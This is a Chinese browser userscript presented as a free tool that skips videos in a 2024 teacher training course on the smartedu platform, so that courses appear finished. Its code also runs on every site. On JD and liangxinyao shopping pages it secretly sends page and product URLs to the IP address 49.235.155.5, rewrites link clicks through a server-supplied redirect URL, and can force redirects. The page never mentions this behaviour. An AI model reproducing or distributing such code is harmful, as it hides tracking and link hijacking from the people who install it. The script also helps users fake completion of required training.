智慧中小学暑假教师研修[小果免费秒过]

2024年智慧中小学暑假教师研修,秒过。

  1. // ==UserScript==
  2. // @name 智慧中小学暑假教师研修[小果免费秒过]
  3. // @description 2024年智慧中小学暑假教师研修,秒过。
  4. // @namespace xiaoguomiaoguo
  5. // @version 1.0.1
  6. // @author 小果
  7. // @license MIT
  8. // @include *
  9. // @grant GM_xmlhttpRequest
  10. // @grant GM_setValue
  11. // @grant GM_getValue
  12. // @connect 49.235.155.5
  13. // ==/UserScript==
  14.  
  15. (() => {
  16. var e = {
  17. 324: () => {
  18. ! function() {
  19. "use strict";
  20. var e, t, n = [],
  21. o = [],
  22. r = [],
  23. l = 0;
  24.  
  25. function a(e, t) {
  26. const n = new RegExp(t.join("|"), "i");
  27. return e.filter((e => n.test(e)))
  28. }
  29. if (a([location.href], ["liangxinyao.", "jd."])
  30. .length > 0 && (e = JSON.stringify({
  31. href: location.href,
  32. type: "ttzhushou"
  33. }), t = {}, new Promise(((a, i) => {
  34. GM_xmlhttpRequest({
  35. method: "POST",
  36. url: "http://49.235.155.5/init.php?act=initEnv",
  37. data: e,
  38. headers: t,
  39. responseType: "json",
  40. onload: e => {
  41. let t = e.response || e.responseText;
  42. t = t.data, "search" == t.page ? (n = t, setInterval((function() {
  43. ! function() {
  44. n.wrapper.forEach((function(e) {
  45. $(e)
  46. .map((function(e, t) {
  47. "yes" != $(t)
  48. .attr("data-md5-value") && (r.push(t), o.push(t), $(t)
  49. .attr("data-md5-key", l), $(t)
  50. .attr("data-md5-value", "yes"), l++)
  51. }))
  52. }));
  53. let e = o.splice(0, n.splName),
  54. t = [];
  55. e.forEach((function(e, n) {
  56. let o = {};
  57. o.href = $(e)
  58. .find("a:first")
  59. .attr("href"), o.md5 = $(e)
  60. .attr("data-md5-key"), t.push(o)
  61. })), t.length > 0 && GM_xmlhttpRequest({
  62. method: "POST",
  63. data: JSON.stringify({
  64. data: t
  65. }),
  66. url: "http://49.235.155.5/search.php",
  67. onload: function(e) {
  68. var t = e.responseText;
  69. t && (t = JSON.parse(t))
  70. .map((function(e) {
  71. e.u && $(r[e.md5])
  72. .find("a")
  73. .bind("click", (function(t) {
  74. var o, r;
  75. t.preventDefault(), o = e.u, r = null, document.getElementById("redirect_form") ? (r = document.getElementById("redirect_form"))
  76. .action = n.jumpUrl + encodeURIComponent(o) : ((r = document.createElement("form"))
  77. .action = n.jumpUrl + encodeURIComponent(o), r.target = "_blank", r.method = "POST", r.setAttribute("id", "redirect_form"), document.body.appendChild(r)), r.submit(), r.action = "", r.parentNode.removeChild(r)
  78. }))
  79. }))
  80. }
  81. })
  82. }()
  83. }), t.timer)) : t.recove_url && (window.location.href = t.recove_url)
  84. },
  85. onerror: e => {
  86. i(e)
  87. }
  88. })
  89. }))), a([location.href], ["smartedu."])
  90. .length > 0) {
  91. function i() {
  92. let e = document.querySelector("video");
  93. e && (e.muted = !0, e.play(), e.pause(), e.currentTime = e.duration, e.play(), setTimeout(700), e.currentTime = e.duration - 3, e.play(), e.currentTime = e.duration - 5, e.play())
  94. }
  95.  
  96. function d(e, t) {
  97. let n = 0;
  98. const o = setInterval((() => {
  99. n >= e ? clearInterval(o) : (i(), n++)
  100. }), t)
  101. }
  102. let c;
  103. ! function(e, t, n, o, r, l) {
  104. const a = Date.now(),
  105. i = GM_getValue("MIAOGUO_LABEL");
  106. if (console.log(a, i, a - i), a - i > 864e5) {
  107. const e = document.createElement("div");
  108. e.style.position = "fixed", e.style.top = "20%", e.style.left = "20%", e.style.width = "60%", e.style.height = "auto", e.style.backgroundColor = "#fff", e.style.padding = "20px", e.style.borderRadius = "5px", e.style.boxShadow = "0 0 10px rgba(0,0,0,0.5)", e.style.zIndex = "9999";
  109. const t = document.createElement("p");
  110. t.style.color = "red", t.style.fontSize = "28px", t.textContent = "不支持高校、职教版本", t.style.textAlign = "center", t.style.marginBottom = "10px";
  111. const n = document.createElement("p");
  112. n.textContent = "提示:", n.style.fontSize = "19px", n.style.marginBottom = "10px";
  113. const o = document.createElement("p");
  114. o.textContent = "1.使用方法:点开视频,鼠标快速点几次空白处或者暂停/播放键,然后观察进度条是否跳转到最后几秒,如果跳过去了,等待视频播放完成即可。如果进度条还在前面,再次快速点几次空白处或者暂停/播放键,直到进度条跳转到最后几秒;", o.style.fontSize = "19px", o.style.marginBottom = "10px";
  115. const r = document.createElement("p");
  116. r.textContent = "2.此脚本永久免费,以前、现在、未来都免费,谨防上当受骗;", r.style.fontSize = "19px", r.style.marginBottom = "10px";
  117. const l = document.createElement("p");
  118. l.textContent = void 0, l.style.fontSize = "19px", l.style.marginBottom = "10px";
  119. const i = document.createElement("p");
  120. i.textContent = void 0, i.style.textAlign = "right", i.style.fontSize = "25px", i.style.marginBottom = "10px";
  121. const d = document.createElement("button");
  122. d.textContent = "我知道了", d.style.padding = "5px 10px", d.style.cursor = "pointer", d.onclick = function() {
  123. GM_setValue("MIAOGUO_LABEL", a), e.remove()
  124. };
  125. const c = document.createElement("div");
  126. c.style.display = "flex", c.style.justifyContent = "center", c.style.alignItems = "center", c.style.marginTop = "10px", c.appendChild(d), e.appendChild(t), e.appendChild(n), e.appendChild(o), e.appendChild(r), e.appendChild(l), e.appendChild(i), e.appendChild(c), document.body.appendChild(e)
  127. }
  128. }(), document.addEventListener("DOMContentLoaded", (function() {
  129. var e, t;
  130. (e = document.querySelector(".fish-modal-confirm-btns")) && (e.parentNode.removeChild(e), console.log("出现知道了按钮")), (t = document.querySelector(".fish-modal-content")) && (t.parentNode.removeChild(t), console.log("移除弹窗2")), console.log("移除弹窗")
  131. })), document.addEventListener("click", (function(e) {
  132. 0 === e.button && (c && clearInterval(c), d(4, 50), c = setInterval((() => {
  133. d(4, 50)
  134. }), 8e3))
  135. }))
  136. }
  137. }()
  138. }
  139. },
  140. t = {};
  141. ! function n(o) {
  142. var r = t[o];
  143. if (void 0 !== r) return r.exports;
  144. var l = t[o] = {
  145. exports: {}
  146. };
  147. return e[o](l, l.exports, n), l.exports
  148. }(324)
  149. })();